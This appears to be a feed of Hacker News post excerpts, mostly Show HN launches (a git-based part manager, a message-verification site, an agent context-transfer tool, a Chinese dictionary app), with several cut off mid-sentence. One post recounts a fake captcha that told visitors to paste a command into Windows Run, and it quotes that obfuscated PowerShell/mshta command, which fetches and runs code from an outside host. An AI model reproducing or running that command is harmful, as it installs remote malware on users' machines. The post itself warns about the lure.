Show HN: SolidSync – Poorman's Solidworks PDMhttps://github.com/baggiest/solidsyncHello HN! I'm a software engineer trapped at work with 13 mechanical engineers (imagine the smell).This is a self-hosted part manager, you get to see the versions of a part, set status like "DONT WORK UPON TS", see the HEAD of a part like we take for granted in software. you could rightfully call it a poorman's early dropbox with status updates.no login no auth and consequently kinda no security, it's made to be hosted locally with the people you usually trust to be barefeet around, so in most cases, not me.spinning up a server takes less than 90 seconds it will be TURBO INSECURE without the https setting so only use the http serving when running locally"is this vibe coded slop" "is that ham processed" well it's practical foss slop.This app lacks alot funcionality compared to the paid options and on a spec sheet its kinda worse than any PDM/PLM on the marketbut it's possibly the most resillient system in its niche, you own everything, the engine is secretly git, everyfile has its hash Aug 16, 2026 9:13 PM

Show HN: Reallyfrom.me – vouch that your message is from youhttps://news.ycombinator.com/item?id=49275954Having a message sent from someone who cared enough to read and write that message to you is important. But with agentic and autonomous methods of sending messages, it's harder to trust that any effort has gone into writing a message.So we created ReallyFrom.me -- write a message, generate a hash code and send the message to whomever with the link we create. The recipient can paste your message to confirm that it's identical. You can also have an option to make your message public on the verification page -- prolly good for public figures.Example #1 ///Public verification ///Hello world, I really like green eggs and ham.-ZakVerify: www.reallyfrom.me/zak/3XXY7GVExample #2 ////Private verification ////Please don't let them know I really hate green eggs and ham.-ZakVerify: www.reallyfrom.me/zak/VW5ZLNRAug 12, 2026 5:33 PM

Transfer context from one agent to another agent mid taskhttps://news.ycombinator.com/item?id=49102632Hello HN, If you integrate your agents with decispher you can transfer context from one agent to another agents in 2 ways -:1) If you are working on git branch then branchstory feature keeps on recording your session activity like user prompts -> agent's reasoning -> agent's action -> edited files. These recordings can be played by other agent/human taking up task next. Agents can also write handoff note for other agents.2) If you are connected using Decispher mcp then this mcp provides you a tool with copy_context and paste_context. Copy_context tools gives you a key which you use as paste_context(key) inside any other agent on any machine and your context of chat will be transfered.Try at decispher.comJul 29, 2026 8:29 PM

When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and Jul 28, 2026 2:25 PM

Show HN: Duiduidui is a new Chinese dictionary and flashcard apphttps://duiduidui.app/en/Hello everyone! I'm a solo developer, and intermediate Chinese learner, and I just launched a new Chinese app I want to share with you.My own Chinese language study stack used to be Pleco (and Goog Translate) for dictionary lookups, and then Anki for flashcard reviews, with a lot of manual copy-pasting in between. Which worked... okay. But the two sides never talked to each other. Pleco doesn't know what I'm studying, and Anki doesn't know anything about Chinese. So it treats 好吃 and 好 as totally unrelated cards, even though getting one right obviously tells you something about the other.So I built duiduidui! (对对对), which is basically those two tools fused together, with a study engine that actually models how Chinese is structured:- A dictionary with 200k+ entries, always available/searchable offline (characters, words, phrases, sample sentences, speech audio) where everything is linked. Every character links to the words it appears in, and the radicals it's built from, so you can (forJul 13, 2026 7:15 PM
